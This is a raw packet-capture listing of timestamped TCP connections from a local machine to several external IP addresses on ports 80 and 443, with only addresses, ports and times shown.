Nov 13, 2024 18:08:34.042777061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042787075 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042799950 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042833090 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042844057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042851925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042861938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042870998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042870045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042870045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042870045 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042880058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042889118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042897940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042900085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042900085 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042907000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.042917013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042928934 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.042959929 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043096066 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043107033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043116093 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043127060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043142080 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043165922 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043239117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043250084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043257952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043267965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043277025 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043282032 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043286085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043289900 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043296099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043306112 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043323994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043329000 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043334961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043343067 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043364048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043364048 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043380976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043843031 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043853045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043862104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043872118 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043880939 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043888092 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043890953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043901920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043908119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043910980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043915033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043920040 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043930054 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043939114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043947935 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043947935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043963909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043975115 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.043987989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.043992043 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044003010 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044013023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044018030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044018030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044023037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044033051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044034004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044042110 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044053078 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044053078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044061899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044121027 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044131994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044142962 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044152021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044159889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044172049 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044182062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044190884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044199944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044209003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044219017 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044245005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044245005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044245005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044245005 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044265985 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044285059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044296026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044303894 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044313908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044322014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044328928 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044332027 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044337988 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044342995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044347048 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044351101 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044430017 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044871092 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044882059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044891119 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044902086 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044912100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044922113 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.044971943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044971943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.044971943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.086736917 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.086811066 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.086869001 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.086869955 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.086935043 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.086971998 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.087033033 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.087038994 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.087064028 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.087105036 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.087129116 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.090794086 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.090842009 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.090892076 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.090910912 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.090939045 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.090959072 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.092890024 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.092943907 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.092969894 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.092981100 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.093012094 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.093178988 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.094029903 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.094075918 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.094101906 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.094119072 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.094146967 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.094146967 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.094255924 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.095643044 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.095693111 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.095716953 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.095736980 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.095760107 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.095782995 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.097594976 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.097651005 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.097685099 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.097696066 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.097728014 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.097748995 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.098396063 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.098442078 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.098474026 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.098489046 CET	443	49909	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.098515034 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.098515034 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.098639965 CET	49909	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.102108002 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.102124929 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.102184057 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.102324009 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.102358103 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.102638006 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.103063107 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.105134010 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.105146885 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.105515957 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.105520010 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.105957031 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106014967 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.106115103 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106249094 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106268883 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.106570959 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106640100 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106661081 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.106709957 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106786013 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.106805086 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.106856108 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.107085943 CET	49923	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.107100010 CET	443	49923	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.107641935 CET	49924	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.107650995 CET	443	49924	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.107789993 CET	49925	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.107824087 CET	443	49925	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.108046055 CET	49926	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.108052969 CET	443	49926	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.108330011 CET	49927	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.108355045 CET	443	49927	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.108412027 CET	49928	443	192.168.2.6	23.47.50.136
Nov 13, 2024 18:08:34.108426094 CET	443	49928	23.47.50.136	192.168.2.6
Nov 13, 2024 18:08:34.112319946 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.112473965 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.112523079 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.113528967 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.113537073 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.113544941 CET	49914	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.113548040 CET	443	49914	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.119220972 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.119246006 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.119297028 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.124253988 CET	49929	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:34.124275923 CET	443	49929	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:34.164690971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164720058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164731979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164743900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164756060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164764881 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.164767981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164782047 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.164789915 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.164822102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.164997101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165009022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165019989 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165031910 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165043116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165046930 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165054083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165066004 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165076017 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165076971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165087938 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165095091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165136099 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165647030 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165657997 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165669918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165680885 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165689945 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165692091 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165703058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165713072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165713072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165723085 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165734053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165740013 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165745020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165755987 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165760040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165766954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165771008 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165777922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165790081 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.165796995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.165822029 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167361975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167373896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167385101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167396069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167407036 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167411089 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167418957 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167432070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167442083 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167443991 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167459011 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167460918 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167471886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167483091 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167485952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167494059 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167504072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167509079 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167515039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.167535067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.167552948 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169789076 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169801950 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169811964 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169816971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169821978 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169831991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169837952 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169842958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169853926 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169859886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169864893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169876099 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169884920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169891119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169898033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169899940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169909954 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169920921 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169931889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169931889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169943094 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.169949055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169971943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.169989109 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170780897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170793056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170803070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170814037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170825005 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170835018 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170839071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170850039 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170861006 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170861006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170872927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170881033 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170882940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170896053 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170907021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170909882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170921087 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170932055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.170938969 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170962095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.170974016 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172291994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172302961 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172313929 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172326088 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172337055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172348022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172348976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172359943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172373056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172383070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172389030 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172394991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172405958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172415972 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172416925 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172427893 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172430038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172441006 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172449112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172452927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:34.172467947 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.172497034 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:34.173037052 CET	80	49864	185.215.113.206	192.168.2.6
